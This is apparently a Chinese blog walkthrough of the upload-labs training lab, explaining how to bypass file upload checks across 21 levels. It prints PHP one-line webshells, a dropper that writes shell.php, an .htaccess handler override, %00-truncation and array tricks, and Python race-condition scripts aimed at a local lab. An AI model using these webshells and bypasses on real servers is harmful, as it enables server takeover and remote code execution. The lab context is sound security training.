文件上传漏洞通关教程

原理:应用程序中存在上传功能,但是对上传文件没有经过合法性校验或者检验函数存在缺陷,导致攻击者可以上传木马文件到服务器application/octet-stream

pass-01:(前端js+抓包)

上传php文件页面提示不允许上传(前端JS过滤),

查看源码发现允许上传的文件类型 ,可通过禁用JavaScript,抓包,修改js代码进行过滤

1、页面F12打开设置,勾选禁用js

上传成功

2、选择允许上传格式的文件进行上传抓包,在抓包软件中进行修改后缀名

放包后查看上传成功

pass-02: (抓包)

通过查看源代码发现允许上传的文件格式.png.jpeg.gif)

选择通过抓包修改文件后缀进行上传

上传成功

pass-03:(等价扩展名)

查看源代码,发现不允许上传php此类文件,进行抓包修改尝试

提示不允许上传php文件

因为代码限制全部转换为大小写,放弃使用大小写绕过,采用php1-5等多种扩展名进行尝试

发现可以上传成功,但浏览器无法解析,解决方法:更换低版本php,在php.in配置文件后加入php5等。

语言

等价扩展名

asp

asa, cer, cdx

aspx

ashx, asmx, ascx

php

php2 php3 php4 phps phtml.htm.html.pht

jsp

jspx jspf

pass-04:(.htaccess)

查看源代码发现过滤了各种后缀,且转换大小写

.htaccess文件上传(Hypertext Access超文本入口),也被称为分布式配置文件,提供针对目录改变配置的方法,在一个特定文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

通过编辑 .htaccess文件内容为:

<FilesMatch ".jpg"> //代表.jpg文件会被当成.php文件来执行

SetHandler application/x-httpd-php //把文件当成php的代码来解析

</FilesMatch>

上传后将一句话木马重命名为15.jpg进行上传,查看后发现发生内部错误

修改PHP study配置文件,其他选项菜单--打开配置文件--httpd.conf,重启PHP study。

将将文件内的none改为all

还是不行。。。。。。。。。。

方法二:

抓包后修改后缀添加 .空格.也可以

pass-05:(点空格点绕过)

没有循环验证,也就是说这些收尾去空,删除末尾的点,去除字符串::$DATA,转换为小写这些东西只是验证了一次。所以我们的绕过思路就很简单,在数据包中把后缀名改为.php. .验证过程,首先他发现有一个点,这时会把他去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功

查看解析文件,上传成功

pass-06:(大小写绕过)

查看源码,发现过滤了后缀名和.htaccess文件,但没有过滤大小写

进行后缀名大小写进行尝试,发现上传成功

pass-07:(空格绕过)

查看源码发现没有对空格进行过滤

抓包后修改后缀,进行上传成功

查看浏览器解析

pass-08: (点点绕过)

源码示例:

抓包修改(此处为两个 .)

解析成功

pass-09: (::$DATA)

查看源代码,没有去除 ::$DATA ,抓包后在php后缀后直接添加,

进行抓包修改后缀,上传成功,提示禁止访问

删除php后缀::$DATA,成功解析

pass-10:(点切割后缀名)

源码如下

抓包修改后缀名,这里使用的是用 . 去分割后缀名

文件上传成功,但无法解析,打开页面自动下载脚本文件

pass-11:(双写绕过)

查看源码,使用::$DATA,发现上传成功,但在解析时发现php后缀被注释掉了

打开源码发现将符合的字符串替换为空,这里选择采用双写绕过

抓包后进行修改文件后缀名,这里使用1.pphphp(注:不要与被注释的一致)

解析为

pass-12:(GET-%00截断)

查看源代码,十二关设置了白名单

漏洞利用条件

截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态

1、php版本小于5.3.4

2、php的magic_quotes_gpc为OFF状态(php.ini配置文件,默认on修改为off)没找到!旧版小P有

白名单判断,但$img_path是直接拼接,因此可以利用%00截断绕过。

这里应该选择选择php文件进行上传截断,

进行抓包,在路径中添加1.php%00进行截断,并修改上传的文件后缀为白名单中(这里的文件名要与上传的文件图片名一致)

修改Content-Type:image/jpeg,可以上传图片jpg文件,显示上传成功,复制右侧文件路径,如果直接放包,在地址栏12.php后的东西删掉即可。

解析成功

pass-13: (POST-%00截断)

基本操作与上个类似,只是需要对%00进行URL编码(%00 截断在 GET 中被 url 解码之后是空字符,

但是在 POST 中 %00 不会被 url 解码,)

url编码:

上传成功,复制文件路径进行查看

上传成功

pass-14: (图片马)

(注!!!!!:此处php版本改为5.4.45)

getimagesize()函数将测定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。函数成功返回的就是一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

图片马制作:

创建一个txt文件,内容一句话木马:<?php eval($_POST['cmd']);?>

在随便选找一个图片文件,打开cmd进行图片马制作:

copy 做木马的图片/b + 一句话木马文件(php/txts后缀) 生成的图片名.jpg

(原图)

(做好的图片马)

浏览上传,成功后复制图片链接,点击文件包含漏洞进行查看

输入图片地址(注意要加 ?file=文件所在路径)

pass-15:(图片马)

getimagesize函数,这个函数的意思是:会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的

所以这关还是用和14关一样的方法,生成带有php代码的图片上传,配合包含漏洞拿下此关。

pass-16:(打开php_exif)

第16关同14,15关思路一样,操作一样。但是需要打开php_exif

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

然后直接上传图片马,打开查看

pass-17:(二次渲染)

第十七关主要是把二次渲染绕过 imagecreatefromjpeg()函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。

这里推荐使用gif格式文件进行测试

(原图)

进行图片马制作,然后进行上传,上传后下载下来使用WinHex进行图片对比,查看没有被修改的地方(尽量多的地方)然后输入一句话木马(此处已修改完!!!原来一样)

将修改好的保存后上传改后的gif文件,查看解析

注意输入的语句,正常打开是乱码,因为输入的是一句话木马不是探针文件,F12打开Hackbar

勾选Post data 输入探针语句,php版本页面显示

pass-18:(条件竞争)

我们看代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。所以我们可以上传1.php只需要在它删除之前访问即可,这个也就叫做条件竞争上传绕过。

直接上传php文件进行抓包,将抓包发送到Intruder

进入后选择positions,点击clear,

然后进行修改

进一步设置线程

然后点击发包,打开另一个浏览器访问上传文件的所在路径(你不会找不到吧),不停的刷新,直到访问到

方法二:

1、创建x.php文件 内容为:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["cmd"])?>');?>

2、上传x,php,并抓包

3、右击转发到 intruder

4、点击第二个标签 Positions 点击右侧 clear$按钮

5、点击第三个标签Payloads 打开列表 Payload type 选择 null payloads

5点击第四个标签Options 修改线程数Number of threads 为20

6、然后点击 start attack 开始 无限上传

7、执行.py文件来判断是否上传成功

import requests
url = "http://127.0.0.1/upload/upload/x.php"
#这里的IP地址为目标IP,路径为上传文件的准确路径,
#否则上传不成功,这里的ma.php是上面的木马文件
while True:
    html = requests.get(url) #获取请求的URL地址
    if html.status_code == 200: #代码200代表上传成功
        print("OK")  #成功后显示OK
        break
    else:
        print("NO")  #不成功显示ON

8、在执行 start attack时同时执行.py文件进行判断

9、.py·文件运行后 显示OK 后表示可能会上传成功 ,打开文件夹upload 如果真的上传成功文件则会生成一个shell.php 然后输入目标文件地址 成功访问到php网页

pass-19:(条件竞争)

第十九关的上传路径有点问题,不是上传到了upload里面,建议修改一下,进入第十九关,找到myupload.php文件,如图所示修改。 然后重启就可以了。

这关是检查了后缀名,然后上传,然后在进行二次渲染。这时我们只能上传图片马,而且得配合解析漏洞进行通关

如果觉得麻烦可以写一个python代码,进行跑脚本

import requests

url="http://127.0.0.1/upload/upload/2.gif"

while True:

html = requests.get(url)

if('Warning' not in str(html.text)):

print('ok')

break

这里的2.gif为上传的图片马,需要在文件包含漏洞里进行查看

pass-20:(%00截断或/.)

方法一:(注:修改版本低于5.3)

move_uploaded_file()函数中的img_path是由post参数save_name控制的,可以在save_name利用%00截断(注意php版本低于5.3)。

查看解析

方法二:

move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

所以我们把他修改为如图所示

pass-21:(数组绕过验证)

查看源码

大概意思为

检查上传路径是否存在,检查content_type是否合法

判断post方法传递的$file是否为空

判断$file不是数组,则用explode将%$file在.处分割成数组

判断最后的一个数组是否在白名单中

将数组中的第一个数组和最后一个数组连接起来

上传文件

explode(separator,string[,limit]) 函数,把字符串打散成数组。

end(array)函数,输出数组中的当前元素和最后一个元素的值。

reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值

count(array)函数,计算数组中的单元数目,或对象中的属性个数

首先准备一张图片马或者php一句话木马,上传后用bp拦截

我们可以尝试这样绕过:

1、先修改content_type构造为白名单中的值

2、修改post的参数为数组类型,save_name[0]为" upload-20.php ", save_name[2]为" png|jpg|gif "

因为上面的代码会先判断最后一个数组元素是否在白名单中,我们索引[2]为"png|jpg|gif"

正好可以绕过,而后面会将数组第一位和$file[count($file) - 1]进行拼接

因为我们的save_name[1]为空,即$file[1]为空,所以拼接后文件名就会变成upload-20.php

上传成功,访问图片地址,查看解析

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值